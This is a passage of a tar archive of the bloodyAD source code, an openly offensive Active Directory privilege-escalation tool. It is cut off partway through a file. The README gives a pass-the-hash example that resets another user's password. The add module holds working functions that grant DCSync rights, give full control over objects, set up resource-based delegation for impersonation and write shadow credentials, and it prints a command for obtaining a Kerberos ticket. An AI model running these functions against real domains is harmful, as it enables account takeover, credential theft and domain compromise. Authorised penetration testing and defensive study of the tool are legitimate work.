pax_global_header00006660000000000000000000000064147332104360014515gustar00rootroot0000000000000052 comment=d77d8c0b72f0f5c80de7d7183e2c63b9e6dbb252 bloodyAD-2.1.7/000077500000000000000000000000001473321043600132215ustar00rootroot00000000000000bloodyAD-2.1.7/.github/000077500000000000000000000000001473321043600145615ustar00rootroot00000000000000bloodyAD-2.1.7/.github/FUNDING.yml000066400000000000000000000013421473321043600163760ustar00rootroot00000000000000# These are supported funding model platforms github: CravateRouge patreon: # Replace with a single Patreon username open_collective: # Replace with a single Open Collective username ko_fi: # Replace with a single Ko-fi username tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry liberapay: # Replace with a single Liberapay username issuehunt: # Replace with a single IssueHunt username otechie: # Replace with a single Otechie username lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] bloodyAD-2.1.7/.github/workflows/000077500000000000000000000000001473321043600166165ustar00rootroot00000000000000bloodyAD-2.1.7/.github/workflows/release.yml000066400000000000000000000015211473321043600207600ustar00rootroot00000000000000name: Compile bloodyAD into standalone binary on: push: tags: - '*' workflow_dispatch: jobs: windows-build: runs-on: windows-latest steps: - uses: actions/checkout@v4 with: ref: msldap - uses: actions/setup-python@v5 with: python-version: '3.9' - name: Install dependencies run: | pip install . pip install pyinstaller - name: Compile run: pyinstaller --hidden-import unicrypto.backends.cryptography --hidden-import bloodyAD.cli_modules.add --hidden-import bloodyAD.cli_modules.get --hidden-import bloodyAD.cli_modules.remove --hidden-import bloodyAD.cli_modules.set --distpath . --onefile bloodyAD.py - name: Release uses: softprops/action-gh-release@v1 with: files: bloodyAD.exe bloodyAD-2.1.7/.gitignore000066400000000000000000000001171473321043600152100ustar00rootroot00000000000000__pycache__/ *.pem *.pfx *.ccache venv/ *.egg-info/ dist/ build/ settings.json bloodyAD-2.1.7/LICENSE000077500000000000000000000020541473321043600142320ustar00rootroot00000000000000MIT License Copyright (c) 2022 CravateRouge Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.bloodyAD-2.1.7/README.md000066400000000000000000000051171473321043600145040ustar00rootroot00000000000000> :warning: autobloody has been moved to its own [repo](https://github.com/CravateRouge/autobloody) # ![bloodyAD logo](https://repository-images.githubusercontent.com/415977068/9b2fed72-35fb-4faa-a8d3-b120cd3c396f) bloodyAD `bloodyAD` is an Active Directory privilege escalation swiss army knife ## Description This tool can perform specific LDAP calls to a domain controller in order to perform AD privesc. `bloodyAD` supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc. Exchange of sensitive information without LDAPS is supported. It is also designed to be used transparently with a SOCKS proxy. Simple usage: ```ps1 bloodyAD --host 172.16.1.15 -d bloody.local -u jane.doe -p :70016778cb0524c799ac25b439bd6a31 set password john.doe 'Password123!' ``` See the [wiki](https://github.com/CravateRouge/bloodyAD/wiki) for more. ## Support Like this project? Donations are greatly appreciated :relaxed: [![](https://img.shields.io/static/v1?label=Sponsor&message=%E2%9D%A4&logo=GitHub&color=%23fe8e86)](https://github.com/sponsors/CravateRouge) Need personalized support? send us an [email](mailto:contact@cravaterouge.com) or check our website [cravaterouge.com](https://cravaterouge.com/?utm_source=bloodyad_readme) to see all our cybersecurity services. ## Acknowledgements - Thanks to [@skelsec](https://github.com/skelsec) for his amazing libraries especially [MSLDAP](https://github.com/skelsec/msldap) which is now the engine on which bloodyAD is running. - Thanks to [impacket](https://github.com/fortra/impacket) contributors. [Structures](https://github.com/fortra/impacket/blob/master/impacket/structure.py) and several [LDAP attacks](https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/attacks/ldapattack.py) are based on their work. - Thanks to [@PowerShellMafia](https://github.com/PowerShellMafia) team ([PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)) and their work on AD which inspired this tool. - Thanks to [@dirkjanm](https://github.com/dirkjanm) ([adidnsdump.py](https://github.com/dirkjanm/adidnsdump)) and ([@Kevin-Robertson](https://github.com/Kevin-Robertson))([Invoke-DNSUpdate.ps1](https://github.com/Kevin-Robertson/Powermad/blob/master/Invoke-DNSUpdate.ps1)) for their work on AD DNS which inspired DNS functionnalities. - Thanks to [@p0dalirius](https://github.com/p0dalirius/) and his [pydsinternals](https://github.com/p0dalirius/pydsinternals) module which helped to build the shadow credential attack bloodyAD-2.1.7/bloodyAD.py000077500000000000000000000001351473321043600152720ustar00rootroot00000000000000#!/usr/bin/env python3 from bloodyAD import main if __name__ == "__main__": main.main() bloodyAD-2.1.7/bloodyAD/000077500000000000000000000000001473321043600147165ustar00rootroot00000000000000bloodyAD-2.1.7/bloodyAD/__init__.py000066400000000000000000000001541473321043600170270ustar00rootroot00000000000000from .network.config import Config, ConnectionHandler __all__ = [ "Config", "ConnectionHandler", ] bloodyAD-2.1.7/bloodyAD/asciitree/000077500000000000000000000000001473321043600166665ustar00rootroot00000000000000bloodyAD-2.1.7/bloodyAD/asciitree/__init__.py000066400000000000000000000110411473321043600207740ustar00rootroot00000000000000#!/usr/bin/env python # -*- coding: utf-8 -*- from .drawing import BoxStyle from .traversal import DictTraversal from .util import KeyArgsConstructor from bloodyAD.formatters import common, formatters # Explore the trust_dict level by level and populate a branch provided in to_explore def branchFactory(to_explore, explored, trust_dict): next_explore = {} for ascii_parent, parent_dict in to_explore.items(): parent = ascii_parent.rsplit(":")[-1] if parent in explored: continue explored.append(parent) for child_name, child in trust_dict.get(parent, {}).items(): # If it's a root key in trust_dict, it means we have been able to connect to it and explore it # So there is somewhere an INBOUND parent # So do not print the node below this parent, it will be printed below one with INBOUND if not ( int(child["trustDirection"][0].decode()) & common.TRUST_DIRECTION["INBOUND"] ) and (child_name in trust_dict): continue # If it's already explored no need to print it again it will only show the opposite trust direction and nothing new if child_name in explored: continue # Format child in ascii representation ascii_child = "" flags = [] if ( int(child["trustDirection"][0].decode()) & common.TRUST_DIRECTION["OUTBOUND"] ): ascii_child += "<" # TODO: trustAttributes not printed all the time, find the root cause and fix it trustFlags = formatters.formatTrustAttributes(child["trustAttributes"][0]) if trustFlags: flags += trustFlags else: flags += [child["trustAttributes"][0].decode()] flags.append(formatters.formatTrustType(child["trustType"][0])) ascii_child += "|".join(flags) if ( int(child["trustDirection"][0].decode()) & common.TRUST_DIRECTION["INBOUND"] ): ascii_child += ">" ascii_child += ":" + child["trustPartner"][0].decode() parent_dict[ascii_child] = {} next_explore = {**next_explore, **parent_dict} if next_explore: branchFactory(next_explore, explored, trust_dict) class LeftAligned(KeyArgsConstructor): """Creates a renderer for a left-aligned tree. Any attributes of the resulting class instances can be set using constructor arguments.""" draw = BoxStyle() "The draw style used. See :class:`~asciitree.drawing.Style`." traverse = DictTraversal() "Traversal method. See :class:`~asciitree.traversal.Traversal`." def render(self, node): """Renders a node. This function is used internally, as it returns a list of lines. Use :func:`~asciitree.LeftAligned.__call__` instead. """ lines = [] children = self.traverse.get_children(node) lines.append(self.draw.node_label(self.traverse.get_text(node))) for n, child in enumerate(children): child_tree = self.render(child) if n == len(children) - 1: # last child does not get the line drawn lines.append(self.draw.last_child_head(child_tree.pop(0))) lines.extend(self.draw.last_child_tail(l) for l in child_tree) else: lines.append(self.draw.child_head(child_tree.pop(0))) lines.extend(self.draw.child_tail(l) for l in child_tree) return lines def __call__(self, tree): """Render the tree into string suitable for console output. :param tree: A tree.""" return "\n".join(self.render(self.traverse.get_root(tree))) # legacy support below from .drawing import Style from .traversal import Traversal class LegacyStyle(Style): def node_label(self, text): return text def child_head(self, label): return " +--" + label def child_tail(self, line): return " |" + line def last_child_head(self, label): return " +--" + label def last_child_tail(self, line): return " " + line def draw_tree(node, child_iter=lambda n: n.children, text_str=str): """Support asciitree 0.2 API. This function solely exist to not break old code (using asciitree 0.2). Its use is deprecated.""" return LeftAligned( traverse=Traversal(get_text=text_str, get_children=child_iter), draw=LegacyStyle(), )(node) bloodyAD-2.1.7/bloodyAD/asciitree/drawing.py000066400000000000000000000054431473321043600207010ustar00rootroot00000000000000from .util import KeyArgsConstructor BOX_LIGHT = { "UP_AND_RIGHT": "\u2514", "HORIZONTAL": "\u2500", "VERTICAL": "\u2502", "VERTICAL_AND_RIGHT": "\u251c", } #: Unicode box-drawing glyphs, light style BOX_HEAVY = { "UP_AND_RIGHT": "\u2517", "HORIZONTAL": "\u2501", "VERTICAL": "\u2503", "VERTICAL_AND_RIGHT": "\u2523", } #: Unicode box-drawing glyphs, heavy style BOX_DOUBLE = { "UP_AND_RIGHT": "\u255a", "HORIZONTAL": "\u2550", "VERTICAL": "\u2551", "VERTICAL_AND_RIGHT": "\u2560", } #: Unicode box-drawing glyphs, double-line style BOX_ASCII = { "UP_AND_RIGHT": "+", "HORIZONTAL": "-", "VERTICAL": "|", "VERTICAL_AND_RIGHT": "+", } #: Unicode box-drawing glyphs, using only ascii ``|+-`` characters. BOX_BLANK = { "UP_AND_RIGHT": " ", "HORIZONTAL": " ", "VERTICAL": " ", "VERTICAL_AND_RIGHT": " ", } #: Unicode box-drawing glyphs, using only spaces. class Style(KeyArgsConstructor): """Rendering style for trees.""" label_format = "{}" #: Format for labels. def node_label(self, text): """Render a node text into a label.""" return self.label_format.format(text) def child_head(self, label): """Render a node label into final output.""" return label def child_tail(self, line): """Render a node line that is not a label into final output.""" return line def last_child_head(self, label): """Like :func:`~asciitree.drawing.Style.child_head` but only called for the last child.""" return label def last_child_tail(self, line): """Like :func:`~asciitree.drawing.Style.child_tail` but only called for the last child.""" return line class BoxStyle(Style): """A rendering style that uses box draw characters and a common layout.""" gfx = BOX_ASCII #: Glyhps to use. label_space = 1 #: Space between glyphs and label. horiz_len = 2 #: Length of horizontal lines indent = 1 #: Indent for subtrees def child_head(self, label): return ( " " * self.indent + self.gfx["VERTICAL_AND_RIGHT"] + self.gfx["HORIZONTAL"] * self.horiz_len + " " * self.label_space + label ) def child_tail(self, line): return " " * self.indent + self.gfx["VERTICAL"] + " " * self.horiz_len + line def last_child_head(self, label): return ( " " * self.indent + self.gfx["UP_AND_RIGHT"] + self.gfx["HORIZONTAL"] * self.horiz_len + " " * self.label_space + label ) def last_child_tail(self, line): return ( " " * self.indent + " " * len(self.gfx["VERTICAL"]) + " " * self.horiz_len + line ) bloodyAD-2.1.7/bloodyAD/asciitree/traversal.py000066400000000000000000000021711473321043600212440ustar00rootroot00000000000000from .util import KeyArgsConstructor class Traversal(KeyArgsConstructor): """Traversal method. Used by the tree rendering functions like :class:`~asciitree.LeftAligned`. """ def get_children(self, node): """Return a list of children of a node.""" raise NotImplementedError def get_root(self, tree): """Return a node representing the tree root from the tree.""" return tree def get_text(self, node): """Return the text associated with a node.""" return str(node) class DictTraversal(Traversal): """Traversal suitable for a dictionary. Keys are tree labels, all values must be dictionaries as well.""" def get_children(self, node): return list(node[1].items()) def get_root(self, tree): return list(tree.items())[0] def get_text(self, node): return node[0] class AttributeTraversal(Traversal): """Attribute traversal. Uses an attribute of a node as its list of children. """ attribute = "children" #: Attribute to use. def get_children(self, node): return getattr(node, self.attribute) bloodyAD-2.1.7/bloodyAD/asciitree/util.py000066400000000000000000000002101473321043600202060ustar00rootroot00000000000000class KeyArgsConstructor(object): def __init__(self, **kwargs): for k, v in kwargs.items(): setattr(self, k, v) bloodyAD-2.1.7/bloodyAD/cli_modules/000077500000000000000000000000001473321043600172155ustar00rootroot00000000000000bloodyAD-2.1.7/bloodyAD/cli_modules/__init__.py000066400000000000000000000000001473321043600213140ustar00rootroot00000000000000bloodyAD-2.1.7/bloodyAD/cli_modules/add.py000066400000000000000000000403441473321043600203240ustar00rootroot00000000000000import binascii, datetime, random, string from typing import Literal from bloodyAD import utils from bloodyAD.exceptions import LOG from bloodyAD.formatters import accesscontrol, common, cryptography, dns from bloodyAD.network.ldap import Change, Scope import msldap from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa from bloodyAD.exceptions import BloodyError def computer(conn, hostname: str, newpass: str, ou: str = "DefaultOU"): """ Add new computer :param hostname: computer name (without trailing $) :param newpass: password for computer :param ou: Organizational Unit for computer """ if ou == "DefaultOU": container = None for obj in next( conn.ldap.bloodysearch(conn.ldap.domainNC, attr=["wellKnownObjects"]) )["wellKnownObjects"]: if "GUID_COMPUTERS_CONTAINER_W" == obj.binary_value: container = obj.dn break if not container: LOG.warning( "Default container for computers not found, defaulting to CN=Computers," + conn.ldap.domainNC ) container = "cn=Computers" + conn.ldap.domainNC computer_dn = f"cn={hostname},{container}" else: computer_dn = f"cn={hostname},{ou}" # Default computer SPNs spns = [ "HOST/%s" % hostname, "HOST/%s.%s" % (hostname, conn.conf.domain), "RestrictedKrbHost/%s" % hostname, "RestrictedKrbHost/%s.%s" % (hostname, conn.conf.domain), ] attr = { "objectClass": [ "top", "person", "organizationalPerson", "user", "computer", ], "dnsHostName": "%s.%s" % (hostname, conn.conf.domain), "userAccountControl": 0x1000, "servicePrincipalName": spns, "sAMAccountName": f"{hostname}$", "unicodePwd": '"%s"' % newpass, } conn.ldap.bloodyadd(computer_dn, attributes=attr) LOG.info(f"[+] {hostname} created") def dcsync(conn, trustee: str): """ Add DCSync right on domain to provided trustee (Requires to own or to have WriteDacl on domain object) :param trustee: sAMAccountName, DN, GUID or SID of the trustee """ new_sd, _ = utils.getSD(conn, conn.ldap.domainNC) if "s-1-" in trustee.lower(): trustee_sid = trustee else: trustee_sid = next(conn.ldap.bloodysearch(trustee, attr=["objectSid"]))[ "objectSid" ] access_mask = accesscontrol.ACCESS_FLAGS["ADS_RIGHT_DS_CONTROL_ACCESS"] utils.addRight(new_sd, trustee_sid, access_mask) req_flags = msldap.wintypes.asn1.sdflagsrequest.SDFlagsRequestValue( {"Flags": accesscontrol.DACL_SECURITY_INFORMATION} ) controls = [("1.2.840.113556.1.4.801", True, req_flags.dump())] conn.ldap.bloodymodify( conn.ldap.domainNC, {"nTSecurityDescriptor": [(Change.REPLACE.value, new_sd.getData())]}, controls, ) LOG.info(f"[+] {trustee} is now able to DCSync") # Credits to Kevin Robertson and his script Invoke-DNSUpdate.ps1 from the Powermad framework def dnsRecord( conn, name: str, data: str, dnstype: Literal["A", "AAAA", "CNAME", "MX", "PTR", "SRV", "TXT"] = "A", zone: str = "CurrentDomain", ttl: int = 300, preference: int = 10, port: int = None, priority: int = 10, weight: int = 60, forest: bool = False, ): """ This function adds a new DNS record into an AD environment. :param name: name of the dnsNode object (hostname) which will contain the new record :param data: DNS record data, for most record types this will be the destination hostname or IP address, for TXT records this can be used for text :param dnstype: DNS record type :param zone: DNS zone :param ttl: DNS record TTL, time in seconds the record stays in DNS caches, must be low if you want to propagate record updates quickly :param preference: DNS MX record preference, must be lower than the concurrent records to be chosen :param port: listening port of the service in a DNS SRV record :param priority: priority of a DNS SRV record against concurrent, must be lower to be chosen, if identical to others, highest weight will be chosen :param weight: weight of a DNS SRV record against concurrent, must be higher with the lowest priority to be chosen :param forest: if set, registers dns record in forest instead of domain """ # DNS_RPC_RECORD - section 2.2.2.2.5 # RANK_ZONE - The record comes from an authoritative zone rank = 0xF0 naming_context = "," + conn.ldap.domainNC if zone == "CurrentDomain": zone = "" for label in naming_context.split(",DC="): if label: zone += "." + label if forest: zone = "_msdcs" + zone else: # Removes first dot zone = zone[1:] # TODO: take into account custom ForestDnsZones and DomainDnsZones partition name ? if forest: zone_type = "ForestDnsZones" else: zone_type = "DomainDnsZones" zone_dn = f"DC={zone},CN=MicrosoftDNS,DC={zone_type}{naming_context}" record_dn = None serial = None new_dnsrecord_list = None ldap_filter = f"(|(name=@)(name={name}))" for entry in conn.ldap.bloodysearch( zone_dn, ldap_filter=ldap_filter, search_scope=Scope.SUBTREE, attr=["name", "dnsRecord"], raw=True, ): if entry["name"][0] == b"@": for raw_record in entry["dnsRecord"]: dns_record = dns.Record(raw_record).toDict() if dns_record.get("Type") == "SOA": serial = dns_record["Data"]["SerialNo"] break else: record_dn = entry["distinguishedName"] new_dnsrecord_list = entry["dnsRecord"] if not serial: raise BloodyError(f"No '@' entry found in '{zone_dn}' with '{ldap_filter}'") new_dnsrecord = dns.Record() new_dnsrecord.fromDict( data, dnstype, ttl, rank, serial, preference, port, priority, weight ) if not record_dn: record_dn = f"DC={name},{zone_dn}" record_attr = { "objectClass": ["top", "dnsNode"], "dnsRecord": new_dnsrecord.getData(), "dNSTombstoned": False, } conn.ldap.bloodyadd(record_dn, attributes=record_attr) LOG.info(f"[+] {name} has been successfully added") return new_dnsrecord_list.append(new_dnsrecord.getData()) print(new_dnsrecord_list) conn.ldap.bloodymodify( record_dn, {"dnsRecord": [(Change.REPLACE.value, new_dnsrecord_list)]} ) LOG.info(f"[+] {name} has been successfully updated") def genericAll(conn, target: str, trustee: str): """ Give full control to trustee on target (you must own the object or have WriteDacl) :param target: sAMAccountName, DN, GUID or SID of the target :param trustee: sAMAccountName, DN, GUID or SID of the trustee which will have full control on target """ new_sd, _ = utils.getSD(conn, target) if "s-1-" in trustee.lower(): trustee_sid = trustee else: trustee_sid = next(conn.ldap.bloodysearch(trustee, attr=["objectSid"]))[ "objectSid" ] utils.addRight(new_sd, trustee_sid) req_flags = msldap.wintypes.asn1.sdflagsrequest.SDFlagsRequestValue( {"Flags": accesscontrol.DACL_SECURITY_INFORMATION} ) controls = [("1.2.840.113556.1.4.801", True, req_flags.dump())] conn.ldap.bloodymodify( target, {"nTSecurityDescriptor": [(Change.REPLACE.value, new_sd.getData())]}, controls, ) LOG.info(f"[+] {trustee} has now GenericAll on {target}") def groupMember(conn, group: str, member: str): """ Add a new member (user, group, computer) to group :param group: sAMAccountName, DN, GUID or SID of the group :param member: sAMAccountName, DN, GUID or SID of the member """ # This is equivalent to classic add member, # see [MS-ADTS] - 3.1.1.3.1.2.4 Alternative Forms of DNs # But also has the advantage of being compatible with foreign security principals, # see [MS-ADTS] - 3.1.1.5.3.3 Processing Specifics if "s-1-" in member.lower(): # We assume member is an SID member_transformed = f"" else: member_transformed = conn.ldap.dnResolver(member) conn.ldap.bloodymodify(group, {"member": [(Change.ADD.value, member_transformed)]}) LOG.info(f"[+] {member} added to {group}") def rbcd(conn, target: str, service: str): """ Add Resource Based Constraint Delegation for service on target, used to impersonate a user on target with service (Requires "Write" permission on target's msDS-AllowedToActOnBehalfOfOtherIdentity and Windows Server >= 2012) :param target: sAMAccountName, DN, GUID or SID of the target :param service: sAMAccountName, DN, GUID or SID of the service account """ control_flag = 0 new_sd, _ = utils.getSD( conn, target, "msDS-AllowedToActOnBehalfOfOtherIdentity", control_flag ) if "s-1-" in service.lower(): service_sid = service else: service_sid = next(conn.ldap.bloodysearch(service, attr=["objectSid"]))[ "objectSid" ] access_mask = accesscontrol.ACCESS_FLAGS["ADS_RIGHT_DS_CONTROL_ACCESS"] utils.addRight(new_sd, service_sid, access_mask) conn.ldap.bloodymodify( target, { "msDS-AllowedToActOnBehalfOfOtherIdentity": [ ( Change.REPLACE.value, new_sd.getData(), ) ] }, ) LOG.info(f"[+] {service} can now impersonate users on {target} via S4U2Proxy") def shadowCredentials(conn, target: str, path: str = "CurrentPath"): """ Add Key Credentials to target, used to impersonate target with added credentials :param target: sAMAccountName, DN, GUID or SID of the target :param path: filepath for the generated Key Credentials certificate """ if path == "CurrentPath": path = None target_dn = conn.ldap.dnResolver(target) LOG.debug("[*] Generating certificate") key = rsa.generate_private_key(public_exponent=65537, key_size=2048) issuer = x509.Name( [ x509.NameAttribute(NameOID.COMMON_NAME, target_dn), ] ) cert = ( x509.CertificateBuilder() .subject_name(issuer) .issuer_name(issuer) .serial_number(x509.random_serial_number()) .public_key(key.public_key()) .not_valid_before(datetime.datetime.utcnow()) .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365)) .sign(key, hashes.SHA256()) ) LOG.debug("[+] Certificate generated") LOG.debug("[*] Generating KeyCredential") keyCredential = cryptography.KEYCREDENTIALLINK_BLOB() keyCredential.keyCredentialLink_from_x509(cert) LOG.info( "[+] KeyCredential generated with following sha256 of RSA key: %s" % binascii.hexlify(keyCredential.getKeyID()).decode() ) LOG.debug("[*] Updating the msDS-KeyCredentialLink attribute of %s" % target) key_dnbinary = common.DNBinary() key_dnbinary.fromCanonical(keyCredential.getData(), target_dn) conn.ldap.bloodymodify( target_dn, {"msDS-KeyCredentialLink": [(Change.ADD.value, str(key_dnbinary))]}, ) LOG.debug("[+] msDS-KeyCredentialLink attribute of the target object updated") if not path: path = "".join( random.choice(string.ascii_letters + string.digits) for i in range(8) ) LOG.info( "No outfile path was provided. The certificate(s) will be" " stored with the filename: %s" % path ) key_path = path + "_priv.pem" with open(key_path, "wb") as f: f.write( key.private_bytes( serialization.Encoding.PEM, serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption(), ) ) cert_path = path + "_cert.pem" with open(cert_path, "wb") as f: f.write(cert.public_bytes(serialization.Encoding.PEM)) # TODO: Generate TGT on the fly LOG.info("[+] Saved PEM certificate at path: %s" % cert_path) LOG.info("[+] Saved PEM private key at path: %s" % key_path) LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") LOG.info("Run the following command to obtain a TGT:") LOG.info( "python3 PKINITtools/gettgtpkinit.py -cert-pem %s -key-pem %s %s/%s %s.ccache" % (cert_path, key_path, conn.conf.domain, target, path) ) def uac(conn, target: str, f: list = None): """ Add property flags altering user/computer object behavior :param target: sAMAccountName, DN, GUID or SID of the target :param f: name of property flag to add, can be called multiple times if multiple flags to add (e.g -f DONT_REQ_PREAUTH -f DONT_EXPIRE_PASSWORD) """ # TODO: Give scenarios with interesting account control flags # List of flags: https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties # Some flags are computed (so can't be set directly? seems it depends because LOCKOUT can be removed but not added): LOCKOUT, PASSWORD_EXPIRED, PARTIAL_SECRETS_ACCOUNT, USE_AES_KEYS # https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-user-account-control-computed # The following flags are mutually exclusives and can't be changed by NetUserSetInfo (so maybe not modifiable at all?): # NORMAL_ACCOUNT, TEMP_DUPLICATE_ACCOUNT, WORKSTATION_TRUST_ACCOUNT, SERVER_TRUST_ACCOUNT, INTERDOMAIN_TRUST_ACCOUNT # https://learn.microsoft.com/en-us/windows/win32/api/lmaccess/ns-lmaccess-user_info_1008#members # Privileges needed for TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,TRUSTED_FOR_DELEGATION,PASSWD_NOTREQD,DONT_EXPIRE_PASSWD,ENCRYPTED_TEXT_PASSWORD_ALLOWED,SERVER_TRUST_ACCOUNT: # https://learn.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netusersetinfo#remarks uac = 0 for flag in f: uac |= accesscontrol.ACCOUNT_FLAGS[flag] try: old_uac = next( conn.ldap.bloodysearch(target, attr=["userAccountControl"], raw=True) )["userAccountControl"][0] except IndexError as e: for allowed in next(conn.ldap.bloodysearch(target, attr=["allowedAttributes"]))[ "allowedAttributes" ]: if "userAccountControl" in allowed: raise BloodyError( "Current user doesn't have the right to read userAccountControl on" f" {target}" ) from e raise BloodyError(f"{target} doesn't have userAccountControl attribute") from e uac |= int(old_uac) conn.ldap.bloodymodify( target, {"userAccountControl": [(Change.REPLACE.value, uac)]} ) LOG.info(f"[-] {f} property flags added to {target}'s userAccountControl") def user(conn, sAMAccountName: str, newpass: str, ou: str = "DefaultOU"): """ Add a new user :param sAMAccountName: sAMAccountName for new user :param newpass: password for new user :param ou: Organizational Unit for new user """ if ou == "DefaultOU": container = None for obj in next( conn.ldap.bloodysearch(conn.ldap.domainNC, attr=["wellKnownObjects"]) )["wellKnownObjects"]: if "GUID_USERS_CONTAINER_W" == obj.binary_value: container = obj.dn break if not container: LOG.warning( "Default container for users not found, defaulting to CN=Users," + conn.ldap.domainNC ) container = "cn=Users" + conn.ldap.domainNC user_dn = f"cn={sAMAccountName},{container}" else: user_dn = f"cn={sAMAccountName},{ou}" attr = { "objectClass": ["top", "person", "organizationalPerson", "user"], "distinguishedName": user_dn, "sAMAccountName": sAMAccountName, "userAccountControl": 544, "unicodePwd": '"%s"' % newpass, } conn.ldap.bloodyadd(user_dn, attributes=attr) LOG.info(f"[+] {sAMAccountName} created") bloodyAD-2.1.7/bloodyAD/cli_modules/get.py000066400000000000000000000463351473321043600203610ustar00rootroot00000000000000from bloodyAD import utils, asciitree from bloodyAD.exceptions import LOG from bloodyAD.network.ldap import Scope from bloodyAD.exceptions import NoResultError from bloodyAD.formatters import common from msldap.commons.exceptions import LDAPSearchException from typing import Literal import re, asyncio def children(conn, target: str = "DOMAIN", otype: str = "*", direct: bool = False): """ List children for a given target object :param target: sAMAccountName, DN, GUID or SID of the target :param otype: special keyword "useronly" or objectClass of objects to fetch e.g. user, computer, group, trustedDomain, organizationalUnit, container, groupPolicyContainer, msDS-GroupManagedServiceAccount, etc :param direct: Fetch only direct children of target """ if target == "DOMAIN": target = conn.ldap.domainNC scope = Scope.LEVEL if direct else Scope.SUBTREE if otype == "useronly": otype_filter = "sAMAccountType=805306368" else: otype_filter = f"objectClass={otype}" return conn.ldap.bloodysearch( target, f"(&({otype_filter})(!(distinguishedName={target})))", search_scope=scope, attr=["distinguishedName"], ) def dnsDump(conn, zone: str = None, no_detail: bool = False, transitive: bool = False): """ Retrieve DNS records of the Active Directory readable/listable by the user :param zone: if set, prints only records in this zone :param no_detail: if set doesn't include system records such as _ldap, _kerberos, @, etc :param transitive: if set, try to fetch dns records in AD trusts (you should start from a DC of your user domain to have exhaustive results) """ def domainDnsDump(conn, zone=None, no_detail=False): entries = None filter = "(|(objectClass=dnsNode)(objectClass=dnsZone))" prefix_blacklist = [ "gc", "_gc.*", "_kerberos.*", "_kpasswd.*", "_ldap.*", "_msdcs", "@", "DomainDnsZones", "ForestDnsZones", ] suffix_blacklist = ["RootDNSServers", "..TrustAnchors"] if no_detail: prefix_filter = "" for prefix in prefix_blacklist: prefix_filter += f"(!(name={prefix}))" filter = f"(&{filter}{prefix_filter})" dnsZones = [] for nc in conn.ldap.appNCs + [conn.ldap.domainNC]: try: entries = conn.ldap.bloodysearch( nc, filter, search_scope=Scope.SUBTREE, attr=["dnsRecord", "name", "objectClass"], ) for entry in entries: domain_suffix = entry["distinguishedName"].split(",")[1] domain_suffix = domain_suffix.split("=")[1] # RootDNSServers and ..TrustAnchors are system records not interesting for offensive normally if domain_suffix in suffix_blacklist: continue if zone and zone not in domain_suffix: continue # We keep dnsZone to list their children later # Useful if we have list_child on it but no read_prop on the child record if "dnsZone" in entry["objectClass"]: dnsZones.append(entry["distinguishedName"]) if entry["name"] not in suffix_blacklist: yield {"zoneName": entry["name"]} continue domain_name = entry["name"] if domain_name == "@": # @ is for dnsZone info domain_name = domain_suffix else: # even for reverse lookup (X.X.X.X.in-addr.arpa), domain suffix should be the parent name? if ( domain_name[-1] != "." ): # Then it's probably not a fqdn, suffix needed domain_name = domain_name + "." + domain_suffix ip_addr = domain_name.split(".in-addr.arpa") if len(ip_addr) > 1: decimals = ip_addr[0].split(".") decimals.reverse() while len(decimals) < 4: decimals.append("0") domain_name = ".".join(decimals) yield_entry = {"recordName": domain_name} for record in entry.get("dnsRecord", []): try: if record["Type"] not in yield_entry: yield_entry[record["Type"]] = [] if record["Type"] in [ "A", "AAAA", "NS", "CNAME", "PTR", "TXT", ]: yield_entry[record["Type"]].append(record["Data"]) elif record["Type"] == "MX": yield_entry[record["Type"]].append( record["Data"]["Name"] ) elif record["Type"] == "SRV": yield_entry[record["Type"]].append( f"{record['Data']['Target']}:{record['Data']['Port']}" ) elif record["Type"] == "SOA": yield_entry[record["Type"]].append( { "PrimaryServer": record["Data"][ "PrimaryServer" ], "zoneAdminEmail": record["Data"][ "zoneAdminEmail" ].replace(".", "@", 1), } ) except KeyError: LOG.error("[-] KeyError for record: " + record) continue yield yield_entry except (NoResultError, LDAPSearchException) as e: if type(e) is NoResultError: LOG.warning(f"[!] No readable record found in {nc}") else: LOG.warning(f"[!] {nc} couldn't be read on {conn.conf.host}") continue # List record names if we have list child right on dnsZone or MicrosoftDNS container but no READ_PROP on record object for nc in conn.ldap.appNCs: dnsZones.append(f"CN=MicrosoftDNS,{nc}") dnsZones.append(f"CN=MicrosoftDNS,CN=System,{conn.ldap.domainNC}") for searchbase in dnsZones: try: entries = conn.ldap.bloodysearch( searchbase, "(objectClass=*)", search_scope=Scope.SUBTREE, attr=["objectClass"], ) for entry in entries: # If we can get objectClass it means we have a READ_PROP on the record object so we already found it before if ( entry.get("objectClass") or entry["distinguishedName"] == searchbase ): continue domain_parts = entry["distinguishedName"].split(",") domain_suffix = domain_parts[1].split("=")[1] domain_name = domain_parts[0].split("=")[1] if no_detail and re.match("|".join(prefix_blacklist), 